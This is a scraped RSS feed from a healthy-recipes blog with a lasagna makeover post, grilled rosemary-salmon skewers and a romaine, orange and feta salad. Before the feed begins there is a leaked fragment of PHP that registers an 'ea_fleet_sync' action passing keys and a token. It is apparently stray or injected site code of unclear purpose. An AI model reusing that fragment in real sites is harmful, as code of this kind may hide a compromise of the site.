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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Healthy Recipes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Tue, 24 Jul 2012 20:03:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Healthy Recipes – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Recipe Makeovers – Lasagna https://skinnygeneprojectnew.dreamsites.io/recipe-makeovers-lasagna/ https://skinnygeneprojectnew.dreamsites.io/recipe-makeovers-lasagna/#respond Tue, 24 Jul 2012 20:03:18 +0000 http://skinnygeneproject.dreamhosters.com/?p=1592  

 By Amy K. West, Skinny Gene Dietetic Intern from the WIC Program

One of my favorite family recipes is lasagna, and there’s many ways to modify a standard lasagna recipe to cut the fat and increase the nutritional value.  I’m not one to closely follow a recipe, but standard ingredients include:

 

Picture from myrecipes.com

12 lasagna noodles, uncooked

2 tablespoons olive oil1 (16 ounce) package Natural Italian Ground Sausage

1 onion

2 cloves garlic, chopped

1 (24 ounce) jar marinara sauce

4 cups ricotta cheese

1 large egg

1/2 cup grated Parmesan cheese

2 cups shredded mozzarella cheese

1 teaspoon dried oregano

 

One of the first ways to help lower the fat content of lasagna is by altering the type of meat you use.  Many of us watching our fat intake know using turkey can help us consume less fat than if we were eating beef, but it also depends on what type of turkey you use.  4 oz of lean ground turkey or 85% lean turkey contains about 17g of fat for 4 oz.  For that same 4 oz of turkey, if you select a leaner version, 93% fat free, the turkey contains only 8 grams of fat.  You also have the option of using extra lean ground turkey (99% fat free), which contains only 1.5g of fat for 4 oz.

Another change you can make is using 1% cottage cheese (1g fat for 1/2 cup) instead of part skim ricotta cheese (9g for 1/2 cup) or using a more flavorful cheese like goat cheese or feta instead of mozzarella so you can use less, but still have a lot of flavor.

 

Sometimes when I cut the fat out of a recipe the flavor can be altered a bit, so I like to add crushed red pepper and a large mix of Italian seasonings.  Another factor to keep in mind is that the texture when cooking with less fat can change the final product, so add some new consistencies to the dish.  Try mushroom, roasted tomatoes or spinach, which will also add more nutrients.

Have fun experimenting!

]]> https://skinnygeneprojectnew.dreamsites.io/recipe-makeovers-lasagna/feed/ 0 Summertime Recipes: Grilled Rosemary-Salmon Skewers https://skinnygeneprojectnew.dreamsites.io/summertime-recipes-grilled-rosemary-salmon-skewers/ https://skinnygeneprojectnew.dreamsites.io/summertime-recipes-grilled-rosemary-salmon-skewers/#respond Wed, 15 Jun 2011 07:11:42 +0000 http://skinnygeneproject.dreamhosters.com/?p=1273 http://www.eatingwell.com/recipes/grilled_rosemary_salmon_skewers.html

From EatingWell:  August/September 2006, EatingWell for a Healthy Heart Cookbook (2008)

If you can find (or grow) them, use sturdy rosemary branches, stripped of leaves, as skewers for these Italian salmon kebabs; they’ll add a subtle, smoky flavor that hints of pine. Oil your grill well to prevent sticking, don’t move the kebabs around unnecessarily and keep a close eye on the fire to avoid flare-ups.

4 servings, 2 skewers each | Active Time: 30 minutes | Total Time: 30 minutes

Ingredients

  • 2 teaspoons minced fresh rosemary
  • 2 teaspoons extra-virgin olive oil
  • 2 cloves garlic, minced
  • 1 teaspoon freshly grated lemon zest
  • 1 teaspoon lemon juice
  • 1/2 teaspoon kosher salt
  • 1/4 teaspoon freshly ground pepper
  • 1 pound center-cut salmon fillet, skinned (see Tip) and cut into 1-inch cubes
  • 1 pint cherry tomatoes

Preparation

  1. Preheat grill to medium-high.
  2. Combine rosemary, oil, garlic, lemon zest, lemon juice, salt and pepper in a medium bowl. Add salmon; toss to coat. Alternating the salmon and tomatoes, divide among eight 12-inch skewers.
  3. Oil the grill rack (see Tip). Grill the skewers, carefully turning once, until the salmon is cooked through, 4 to 6 minutes total. Serve immediately.

Nutrition

Per serving : 246 Calories; 15 g Fat; 3 g Sat; 6 g Mono; 67 mg Cholesterol; 4 g Carbohydrates; 23 g Protein; 1 g Fiber; 211 mg Sodium; 598 mg Potassium

Exchanges: 3 1/2 lean meat

Tips & Notes

  • Make Ahead Tip: Prepare the skewers (Step 2), cover and refrigerate for up to 8 hours. Proceed with grilling (Steps 1 & 3) when ready to serve. | Equipment: Eight 12-inch skewers
  • Tips: How to skin a salmon fillet: Place skin-side down. Starting at the tail end, slip a long knife between the fish flesh and the skin, holding down firmly with your other hand. Gently push the blade along at a 30° angle, separating the fillet from the skin without cutting through either.
  • To oil the grill rack, oil a folded paper towel, hold it with tongs and rub it over the rack. (Don’t use cooking spray on a hot grill.)
]]> https://skinnygeneprojectnew.dreamsites.io/summertime-recipes-grilled-rosemary-salmon-skewers/feed/ 0 Summertime Recipes:Romaine Salad with Orange, Feta & Beans https://skinnygeneprojectnew.dreamsites.io/summertime-recipesromaine-salad-with-orange-feta-beans/ https://skinnygeneprojectnew.dreamsites.io/summertime-recipesromaine-salad-with-orange-feta-beans/#respond Wed, 15 Jun 2011 07:03:56 +0000 http://skinnygeneproject.dreamhosters.com/?p=1270 http://www.eatingwell.com/recipes/romaine_salad_with_orange_feta_beans.html

From EatingWell:  March/April 2007, The EatingWell Diet (2007)

 

Adding canned beans is a quick, convenient way to make a salad into a meal – they boost the protein to make the salad more satisfying. We call for kidney beans, but other canned beans like cannellinis or black beans would also work nicely.

2 servings, about 4 cups each | Active Time: 15 minutes | Total Time: 15 minutes

Ingredients

  • 6 cups romaine lettuce, chopped
  • 1 cup radishes, sliced
  • 1 cup canned kidney beans, rinsed (see Tip)
  • 1 orange, segmented
  • 1 scallion, sliced
  • 1/4 cup crumbled reduced-fat feta cheese
  • 1/4 cup Orange-Oregano Dressing (recipe follows)

Preparation

  1. Combine lettuce, radishes, beans, orange, scallion, feta and dressing in a large bowl. Toss to coat.

Nutrition

Per serving : 242 Calories; 5 g Fat; 2 g Sat; 2 g Mono; 8 mg Cholesterol; 38 g Carbohydrates; 13 g Protein; 15 g Fiber; 621 mg Sodium; 1059 mg Potassium

1 1/2 Carbohydrate Serving

Exchanges: 1 starch, 1/2 fruit, 2 vegetables, 1 very lean meat, 1 fat

Tips & Notes

  • Tip: Store leftover canned beans in the refrigerator for up to 3 days. Toss them into soup for extra protein; mash with garlic powder and chopped fresh herbs for a quick dip.
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